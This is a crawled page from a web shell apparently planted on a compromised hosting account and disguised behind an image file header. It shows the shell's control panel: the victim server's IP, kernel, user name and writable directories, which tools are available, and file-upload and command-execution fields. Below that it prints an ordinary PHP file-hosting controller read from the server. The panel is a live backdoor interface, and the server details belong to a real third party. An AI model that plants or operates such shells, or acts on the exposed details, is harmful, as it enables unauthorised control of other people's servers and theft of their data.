����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.140.188.57
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/greatlifehub.ng/glfiles.name.ng/themes/spirit/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/greatlifehub.ng/glfiles.name.ng/themes/spirit/controllers//FileController.class.php
<?php

namespace Themes\Spirit\Controllers;

use App\Controllers\FileController AS CoreFileController;
use App\Models\File;
use App\Helpers\CoreHelper;
use App\Helpers\NotificationHelper;
use App\Helpers\ThemeHelper;
use App\Helpers\TranslateHelper;

class FileController extends CoreFileController
{

    /**
     * File password page not needed in this theme.
     * 
     * @return type
     */
    public function filePassword() {
        // pickup request for later
        $request = $this->getRequest();

        // in this theme the permissions is handled by the folder
        $file = File::loadOneByShortUrl($request->query->get('file'));
        if (!$file) {
            // on failure
            return $this->redirect(ThemeHelper::getLoadedInstance()->getAccountWebRoot());
        }

        // redirect to folder, which then prompts for the password
        $folder = $file->getFolderData();
        if (!$folder) {
            // on failure
            return $this->redirect(ThemeHelper::getLoadedInstance()->getAccountWebRoot());
        }

        return $this->redirect($folder->getFolderUrl());
    }

    /**
     * Show the main file page with an additional param to show the file info tab
     * 
     * @return type
     */
    public function fileInfo($shortUrl) {
        // load file
        $file = File::loadOneByShortUrl($shortUrl);
        if (!$file) {
            // on failure
            return $this->redirect(WEB_ROOT . '/error?e=' . urlencode(TranslateHelper::t('delete_file_not_found', 'File not found.')));
        }

        // check file permissions, allow owners, non user uploads and admin/mods
        $Auth = $this->getAuth();
        if ($file->userId != null) {
            if ((($file->userId != $Auth->id) && ($Auth->level_id < 10))) {
                // if this is a private file
                if (CoreHelper::getOverallPublicStatus($file->userId, $file->folderId, $file->id) == false) {
                    return $this->redirect(WEB_ROOT . '/error?e=' . urlencode(TranslateHelper::t("error_file_is_not_publicly_shared", "File is not publicly available.")));
                }
            }
        }

        // load template
        return $this->render('file_info.html', array(
                    'file' => $file,
        ));
    }

    public function fileDelete($shortUrl) {
        // extract delete hash
        $deleteHash = '';
        $request = $this->getRequest();
        foreach ($request->query AS $k => $item) {
            if (strlen($k) === 32) {
                $deleteHash = $k;
            }
        }

        // make sure we have a delete hash
        if (strlen($deleteHash) !== 32) {
            return $this->redirect(WEB_ROOT . '/error?e=' . urlencode(TranslateHelper::t('delete_file_not_found', 'File not found.')));
        }

        // load file
        $file = File::loadOneByShortUrl($shortUrl);
        if (!$file) {
            return $this->redirect(WEB_ROOT . '/error?e=' . urlencode(TranslateHelper::t('delete_file_not_found', 'File not found.')));
        }

        // check delete hash against file
        if ($file->deleteHash != $deleteHash) {
            return $this->redirect(WEB_ROOT . '/error?e=' . urlencode(TranslateHelper::t('delete_file_not_found', 'File not found.')));
        }

        if ($request->request->has('submitted') && $file->status === 'active') {
			if ($this->inDemoMode()) {
				NotificationHelper::setError(TranslateHelper::t("no_changes_in_demo_mode"));
			}
			else {
				// reomve file
				$file->trashByUser();

				// setup success for template
				NotificationHelper::setSuccess(TranslateHelper::t('file_permanently_removed', 'File permanently removed.'));
			}
        }
        elseif ($file->status !== 'active') {
            // setup success for template
            NotificationHelper::setSuccess(TranslateHelper::t('file_permanently_removed', 'File permanently removed.'));
        }

        // load template
        return $this->render('file_delete.html', array(
                    'file' => $file,
        ));
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit